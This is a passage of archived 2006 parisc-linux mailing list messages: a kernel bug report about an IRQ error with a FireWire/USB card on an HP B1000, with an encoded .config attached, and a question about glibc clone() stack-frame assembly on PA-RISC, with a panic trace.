	by mail.ucla.edu (8.13.6/8.13.6) with ESMTP id k2T9YmFC017914
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 01:34:50 -0800
Original-Received: from chris by pooh.orion.frostnet.net with local (Exim 4.50)
	id 1FOX4f-0003J0-Ey
	for parisc-linux@lists.parisc-linux.org; Wed, 29 Mar 2006 01:34:45 -0800
Content-Disposition: inline
X-PGP-Key: Send email with subject 'retrieve pgp key'
X-PGP-Fingerprint: Send email with subject 'retrieve pgp fingerprint'
User-Agent: Mutt/1.5.10i
X-Probable-Spam: no
X-Spam-Hits: 0.05
X-Spam-Report: FORGED_RCVD_HELO
X-Scanned-By: smtp.ucla.edu on 169.232.47.138
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tT1PBRcefW4orOWveGVodW5mdmllcsVH
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23509


--82I3+IH0IqGh5yIs
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

When I boot a B1000 using 2.6.16-pa8 with an IOGear Firewire+USB card
(GUF3121) the machine shows the error drivers/parisc/superio.c:308,
"Illegal irq number(2)", after it brings up USB. This happens when the
card is in the 66MHz 64bit slot and when it is in one of the 33MHz
32bit slots. (The card is 33MHz 32bit; I tried to see if different
slots/buses might change the irq.)

If I change the if condition in superio.c to not error when irq == 2
the machine gets further but produces several warnings, errors, stack
traces, and an oops or two. It does recognize the firewire controller
and sees a firewire disk I attach. I am even able to mount the file system
on the disk and list its contents. However, the results of a find on the
drive appear to only come in small chunks when I type on the keyboard.
It would seem superio and the card are linked.

I'd be most interested in any thoughts or suggestions; thank you!


kernel: 2.6.16-pa8
gcc: debian 1:3.3.5-13
binutils: debian 2.15-6
machine: 9000/785/B1000
32bit kernel
palo kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
System.map: http://woozle.cs.ucla.edu/~frost/stuff/System.map-2.6.16-pa8.gz
.config: attached (as config.gz)
no remote management card
using graphics console (above command line from a terminal boot of the machine)
compiled the kernel on the same machine

-- 
Chris Frost  |  <http://www.frostnet.net/chris/>
-------------+----------------------------------
Public PGP Key:
   Email chris@frostnet.net with the subject "retrieve pgp key"
   or visit <http://www.frostnet.net/chris/about/pgp_key.phtml>

--82I3+IH0IqGh5yIs
Content-Type: application/x-gunzip
Content-Disposition: attachment; filename="config.gz"
Content-Transfer-Encoding: base64

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
3PN/AXiaLNiecAAA

--82I3+IH0IqGh5yIs
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--82I3+IH0IqGh5yIs--



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What's the right way to create a new stack in glibc?
Date: Thu, 30 Mar 2006 07:35:27 +0100
Lines: 112
Approved: news@gmane.org
Message-ID: <IWXGZ3$DD5205B10AADF945ECDD523A4C5A1C7B@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624034 18725 80.91.229.3 (22 Nov 2014 02:40:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:34 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Mar 2006 06:36:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 30 Mar 2006 08:36:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A387C7D69D;
	Wed, 29 Mar 2006 23:35:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23505-09; Wed, 29 Mar 2006 23:35:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4EEEB7D696;
	Wed, 29 Mar 2006 23:35:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7B667D692
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 23:35:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23385-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 23:35:43 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id BBDAC7D662
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 23:35:42 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k2U6ZSY26094; 
	Thu, 30 Mar 2006 08:35:33 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aUsecO00TiEtoqyUaGRwenF1ZUVSRNcl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23510

Hello Randoplh, Carlos,

May be can you give me some more light.

I was testing all rational changes suggested by tausq in last mail about
clone() patch but it was broken. A first one was of mine I sadly confuse
boolean and bit  insn, after a fix it was still broken ;<(. I so come bac=
k
step by step to a working situation and noticed that:
this hunk made panicing kernel:
[snip]    
.Larg_error:

       /* Create a stack frame */
       ldo             64(%sp), %sp

       /* Set errno */
       bl              __syscall_error, %rp
       sub             %r0, %ret0, %arg0

       /* Return after setting errno */
       /* Restore rp from ENTRY() */
       ldw             -84(%sp), %rp
       bv              %r0(%rp)
       ldo             -64(%sp), %sp
[snip]
clone04(2665): unaligned access to 0xfffffffa at ip=3D0x00011027
clone04(2665): unaligned access to 0xfffffffa at ip=3D0x0001105f
clone04(2665): unaligned access to 0xfffffffa at ip=3D0x00011177
clone04(2665): unaligned access to 0xfffffffa at ip=3D0x0001117f
Unaligned handler failed, ret =3D -2
clone04 (pid 2665): Unaligned data reference (code 28) at 0001119b
kernel BUG at /CAD/linux-2.6.16-pa8/mm/mmap.c:1957!
Backtrace:
 [<10158848>] exit_mmap+0x178/0x330
 [<101235a4>] mmput+0x44/0xb8
 [<101281e0>] do_exit+0x12c/0x8a0
 [<101289b8>] do_group_exit+0x64/0xc4
 [<1010b114>] syscall_exit+0x0/0x14

Kernel panic - not syncing: BUG!

OTH, this hunk was working:
[snip]
.Larg_error:

        /* Create a stack frame */
        stwm            %r3, 64(%sp)

        /* Set errno */
        bl              __syscall_error, %rp
        sub             %r0, %ret0, %arg0

        /* Return after setting errno */
        /* Restore rp from ENTRY() */
        ldw             -84(%sp), %rp
        bv              %r0(%rp)
        ldwm            -64(%sp), %r3
[snip]

Even though that's well what does gcc when I compile this sample:
[snip]
int sclone(unsigned long Val1, unsigned long Val2)
{
  if ((( Val1) && (Val2))) {
    printf ("Ok ;-)\n");
    return 0;
  } else { 
    printf ("Ko ;-(\n");
    return -1;
  } 
};
[snip]

# gcc --save-temps -O2 foo.c
more foo.s
[snip]
sclone:
        .PROC
        .CALLINFO FRAME=3D64,CALLS,SAVE_RP
        .ENTRY
        stw %r2,-20(%r30)
        comib,=3D 0,%r26,.L2
        ldo 64(%r30),%r30
        comib,<>,n 0,%r25,.L7
.L2:
